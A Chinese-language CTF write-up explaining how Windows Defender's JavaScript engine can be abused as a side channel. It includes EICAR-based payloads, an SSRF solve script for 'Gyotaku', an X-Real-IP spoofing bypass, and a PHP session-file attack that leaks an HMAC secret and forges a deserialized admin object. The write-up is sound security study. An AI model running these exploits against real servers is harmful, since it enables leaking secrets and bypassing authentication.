前言

利用 Windows Defender 进行侧信道攻击是 TokyoWesterns 在 WCTF 2019 上提出来的一种新的思路,与之相关的是 WCTF 2019 的题目 Gyotaku 和 TWCTF2019 的 PHP note。

##Windows Defender

根据 icchy 在分享环节 ppt 的总结,Windows Defender 会表现出如下特征:

  • As we investigated:
    1. check the content of the file whether malicious data included
    2. change permission to prevent user from accessing
    3. Replace malicious part with null bytes
    4. (delete entire file)
  • In step 2:
    • the file obtained by SYSTEM
    • user cannot open the file

而只要找到一种合适的方式,我们可以在某种程度上滥用 Windows Defender 的这种特性,进而进行侧信道攻击。

如何触发 Windows Defender

很简单,利用 EICAR 测试文件即可,关于什么是 EICAR 测试文件,以下是官方简介:

欧洲计算机防病毒研究所 (EICAR) 开发了一种测试病毒,可用于测试您的防病毒设备。此脚本是一个惰性文本文件。二进制特征码包含在多数防病毒产品供应商的病毒码文件中。它本质上不是病毒,并且不包含任何程序代码。

将下面内容写入一个 eicar.com 文件,然后尝试访问:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

尝试读取该文件,可以发现触发了 Windows Defender 的拦截:

PS C:\Users\syang\Desktop> type .\eicar.com
type : 无法成功完成操作因为文件包含病毒或潜在的垃圾软件
所在位置 行:1 字符: 1
+ type .\eicar.com
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : ReadError: (C:\Users\syang\Desktop\eicar.com:String) [Get-Content], IOException
    + FullyQualifiedErrorId : GetContentReaderIOError,Microsoft.PowerShell.Commands.GetContentCommand%

JScript engine in mpengine.dll

作为 Windows Defender 最核心的动态链接库,mpengine.dll 实现了对多种文件的检测功能,其中就包括了一个 JS 引擎,该引擎对 JS 相关的内容进行分析,比如 eval 的参数,这里的 JS 脚本包括 HTML 中的 <script> 标签中的内容。这里贴一份 n0b0dy 师傅测试成功的 payload,可以看到尝试访问时会触发 Windows Defender:

<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>
PS C:\Users\syang\Desktop> type .\test.html
type : 无法成功完成操作因为文件包含病毒或潜在的垃圾软件
所在位置 行:1 字符: 1
+ type .\test.html
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo          : ReadError: (C:\Users\syang\Desktop\test.html:String) [Get-Content], IOException
    + FullyQualifiedErrorId : GetContentReaderIOError,Microsoft.PowerShell.Commands.GetContentCommand

但这里有个值得困惑的点是本人使用了类似的 payload 却不会触发 Windows Defender 的预警:

<script>
eval("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
</script>
<body></body>

看到 n0b0dy 师傅也提了一句:

但是如果不加第二行var body = document.body.innerHTML;的话,则无法触发Windows Defender。

大概只能归因于 Windows Defender 的奇怪特性。另外根据分享的 ppt,可以发现该引擎还有如下几个特性:

  • if statement will never be evaluated
    • if (true) {eval(“EICA” + “R”)} -> not detected
    • object accessing will help you: {0: “a”, 1: “b”, …}[input]
  • parser stops on null byte
    • eval(“EICA” + “[NULL]") -> syntax error
    • parser will not stop no null byte (in HTML document)

所以,利用以上特性和 JavaScript 能访问页面元素的特性,可以进行侧信道攻击,比如以下代码会触发 Windows Defender 的预警:

<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>*</body>

而以下内容不会:

<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>a</body>

由此,赞美 TokyoWesterns,一个全新的侧信道思路出现了!

Gyotaku

题目 repo:WCTF2019: Gyotaku The Flag

非预期

题目本身是基于 echo 框架的,阅读题目源码,可以发现在 main.go 中直接定义了获得了 flag 的接口: e.GET("/flag", FlagHandler, InternalRequiredMiddleware) ,所以只要满足 InternalRequiredMiddleware 的验证,即可获得 flag。

阅读相应源码,可以发现需要满足访问 ip 为 127.0.0.1 这个条件即可通过验证:

func InternalRequiredMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
	return func(c echo.Context) error {
		ip := net.ParseIP(c.RealIP())
		localip := net.ParseIP("127.0.0.1")
		if !ip.Equal(localip) {
			return echo.NewHTTPError(http.StatusForbidden)
		}
		return next(c)
	}

而根据 echo 对 RealIP 的实现,这里可以使用 X-Real-IP: 127.0.0.l 欺骗进而绕过:

func (c *context) RealIP() string {
	if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
		return strings.Split(ip, ", ")[0]
	}
	if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
		return ip
	}
	ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
	return ra
}

充分说明了出题后验题的重要性()

预期解

理论上的预期解,无需访问 /flag ,而是使用 Windows Defender 的特性进行侧信道,进而泄露出 flag。

首先回到题目本身,来看到除了直接访问 /flag 路径外,是否存在着第二种方式可以获得 flag。很容易就注意到 e.POST("/gyotaku", GyotakuHandler(dbconn), LoginRequiredMiddleware),继续跟进 GyotakuHandler 函数,可以发现该函数会根据传入的参数 url 进行请求相应资源,然后保存到本地。

func GyotakuHandler(db *DBConn) echo.HandlerFunc {
	return func(c echo.Context) error {
		sess, _ := session.Get(SessionName, c)
		username := sess.Values["username"].(string)

		url := c.FormValue("url")

		// generate gyotaku id
		gid := fmt.Sprintf("%x", sha256.Sum256([]byte(url)))

		_, err := os.Stat(path.Join(GyotakuDir, gid))
		if !os.IsNotExist(err) {
			return c.JSON(http.StatusConflict, "this gyotaku has already been taken")
		}

		resp, err := http.Get(url)
		if err != nil {
			return err
		}
		defer resp.Body.Close()

		body, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			return err
		}

		// save gyotaku
		gyotakudata := &GyotakuData{
			URL:      url,
			Data:     string(body),
			UserName: username,
		}

		buf := bytes.NewBuffer(nil)
		err = gob.NewEncoder(buf).Encode(gyotakudata)
		if err != nil {
			return err
		}
		err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
		if err != nil {
			return err
		}

		err = db.AddGyotakuList(username, gid)
		if err != nil {
			return err
		}

		return c.JSON(http.StatusOK, gid)
	}
}

但跟进 GyotakuViewHandler 可以看到题目本身没有实现查看的功能,所以无法查看保存到本地的文件内容:

func GyotakuViewHandler(db *DBConn) echo.HandlerFunc {
	return func(c echo.Context) error {
		// sess, _ := session.Get(SessionName, c)
		// username := sess.Values["username"].(string)
		gid := c.Param("gid")

		_, err := os.Stat(path.Join(GyotakuDir, gid))
		if os.IsNotExist(err) {
			return c.JSON(http.StatusNotFound, "no such gyotaku")
		}

		_, err = ioutil.ReadFile(path.Join(GyotakuDir, gid))
		if err != nil {
			return err
		}

		return c.JSON(http.StatusNotImplemented, "sorry but I couldn't make it by the submission deadline :P")

		// var gyotakudata GyotakuData
		// buf := bytes.NewBuffer(data)
		// err = gob.NewDecoder(buf).Decode(&gyotakudata)
		// if err != nil {
		// 	return err
		// }

		// if username != gyotakudata.UserName {
		// 	return c.JSON(http.StatusForbidden, "this is not your gyotaku")
		// }
	}
}

至此,可以总结出以下几个要点:

  1. 由于是 SSRF,所以能直接请求到 /flag 的内容
  2. 请求到的内容会保存到本地,保存的结构为 GyotakuData{URL: url, Data: string(body), UserName: username}
  3. 保存到本地的内容会被读取,但无法回显给用户

综合一下我们的思路,这意味着我们可能需要一种侧信道的方式来猜解 flag。

回顾一下可以控制的变量,urlusername,如果只要我们构造出 url=/flag?a=<scirpt>code</script><body>username=</body>,就可以构造出一个包含 flag 的文件,而该文件在被读取时可以触发 可以被 Windows Defender 的预警,利用一定的 JavaScript 代码,我们可以对 flag 进行猜解。

  • JavaScript
    • $idx and $c would be iterated
var body = document.body.innerHTML;
var mal = "EICA";
var n = body[$idx].charCodeAt(0);
mal = mal + String.fromCharCode(n^$c);
eval($c)
  • Windows Defender get angry if $c is appropriate

solve

这里是出题人给的 solve.py,利用二分搜索加快了猜解的进度:

import requests

URL = "http://192.168.122.78" # changeme

def randstr(n=8):
    import random
    import string
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx, sess):
    import string
    prefix = randstr()
    p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
    p = string.Template(p).substitute({'idx': idx, 'c': c})
    req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
    return req.json()

def leak(idx, sess):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        gid = trigger(m, idx, sess)
        if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
            l = m
        else:
            h = m
    return chr(l)

sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})

data = ''
for i in range(30):
    data += leak(i, sess)
    print(data)

PHP note

题目直接给出了源码:

<?php
include 'config.php';

class Note {
    public function __construct($admin) {
        $this->notes = array();
        $this->isadmin = $admin;
    }

    public function addnote($title, $body) {
        array_push($this->notes, [$title, $body]);
    }

    public function getnotes() {
        return $this->notes;
    }

    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}

function is_login() {
    return !empty($_SESSION['secret']);
}

function redirect($action) {
    header("Location: /?action=$action");
    exit();
}

$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];

if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
    redirect('index');
}

if ($action === 'source') {
    highlight_file(__FILE__);
    exit();
}


session_start();

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];
    
    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

if ($action === 'logout') {
    session_destroy();
    redirect('index');
}

if ($action === 'post') {
    if ($method === 'POST') {
        $title = (string)$_POST['title'];
        $body = (string)$_POST['body'];
        $note->addnote($title, $body);
        $data = base64_encode(serialize($note));
        setcookie('note', (string)$data);
        setcookie('hmac', (string)hmac($data));
    }
    redirect('index');
}

if ($action === 'getflag') {
    $note->getflag();
}

?>
<!doctype html>
<html>
    <head>
        <title>PHP note</title>
    </head>
    <style>
        textarea {
            resize: none;
            width: 300px;
            height: 200px;
        }
    </style>
    <body>
        <?php
        if (!is_login()) {
            $realname = htmlspecialchars($realname);
            $nickname = htmlspecialchars($nickname);
        ?>
        <form action="/?action=login" method="post" id="login">
            <input type="text" id="firstname" placeholder="First Name">
            <input type="text" id="lastname" placeholder="Last Name">
            <input type="text" name="nickname" id="nickname" placeholder="nickname">
            <input type="hidden" name="realname" id="realname">
            <button type="submit">Login</button>
        </form>
        <?php
        } else {
        ?>
        <h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
        <a href="/?action=logout">logout</a>
        <!-- <a href="/?action=source">source</a> -->
        <br/>
        <br/>
        <?php
            foreach($note->getnotes() as $k => $v) {
                list($title, $body) = $v;
                $title = htmlspecialchars($title);
                $body = htmlspecialchars($body);
        ?>
        <h2><?=$title?></h2>
        <p><?=$body?></p>
        <?php
            }
        ?>
        <form action="/?action=post" method="post">
            <input type="text" name="title" placeholder="title">
            <br>
            <textarea name="body" placeholder="body"></textarea>
            <button type="submit">Post</button>
        </form>
        <?php
        }
        ?>
        <?php
        ?>
        <script>
            document.querySelector("form#login").addEventListener('submit', (e) => {
                const nickname = document.querySelector("input#nickname")
                const firstname = document.querySelector("input#firstname")
                const lastname = document.querySelector("input#lastname")
                document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
                if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
                    nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
                }
            })
        </script>
    </body>
</html>

可以看到是一个很正常的反序列化的题目,但由于不知道 $_SESSION['secret'] 的值,构造后的反序列化对象无法通过 hmac 验证。因此,解题的第一步需要猜解出 $_SESSION['secret']

查看 HTTP 请求的 header,可以发现相应的 server 是一台 Windows:

Content-Length: 27171
Content-Type: text/html; charset=UTF-8
Date: Thu, 05 Sep 2019 14:16:31 GMT
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9

那么很自然的考虑利用 Windows Defender 来进行侧信道。考虑到 PHP 的 session 本质上也是存储在 server 上的文件,那么可以利用创建一个恶意 session 文件的方式来触发 Windows Defender。

注意到由于复制顺序的问题,我们需要两次调用 /login 来构造一个符合 HTML 格式的 session 文件,以下是在 Linux 上的模拟,不要在意真题环境是 Windows 这种事情(逃:

$ sudo cat sess_i4m4pdr67l20ar8i6777av24s7
realname|s:209:"--!><html><head><script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{0:'*'}[Math.min(0,n)])};f(document.body.innerHTML[2].charCodeAt(0));</script></head><body>";secret|s:32:"8b9a527ff677cb223afa87dad7c9e6f8";
$ sudo cat sess_i4m4pdr67l20ar8i6777av24s7
realname|s:209:"--!><html><head><script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{0:'*'}[Math.min(0,n)])};f(document.body.innerHTML[2].charCodeAt(0));</script></head><body>";secret|s:32:"121cc233a4700baca86ab6a6fa3f2d50";nickname|s:8:"1</body>";

修改脚本:

import random
import string
import requests

URL = "http://phpnote.chal.ctf.westerns.tokyo/?action={}"

def trigger(c, idx):
    sess = requests.session()
    payload = '''<html><head><script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script></head><body>'''
    payload = string.Template(payload).substitute({'idx': idx, 'c': c})
    sess.post(URL.format('login'), data={
        'realname': payload 
    })
    sess.post(URL.format('login'), data={
        'nickname': '1</body>',
        'realname': payload 
    })
    res = sess.get(URL.format('index'))
    return 'Login' in res.text

def leak(idx):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        if trigger(m, idx):
            l = m
        else:
            h = m
    return chr(l)

data = ''
for i in range(60):
    data += leak(i)
    print(data)

泄露出 secret 后构造反序列化对象:

$secret = "7daeeed052fd2908fb30f462ad1c7936";
$note = new Note(true);
$note->addnote("exploit","works");
$obj = base64_encode(serialize($note));
print_r($obj."\n");
print_r(hmac($obj, $secret));

获得 flag:TWCTF{h0pefully_I_haven't_made_a_m1stake_again}

总结

很多情况下漏洞不等价于 RCE,而在于我们是否能从不同的维度对一个功能进行探索,以上。

参考链接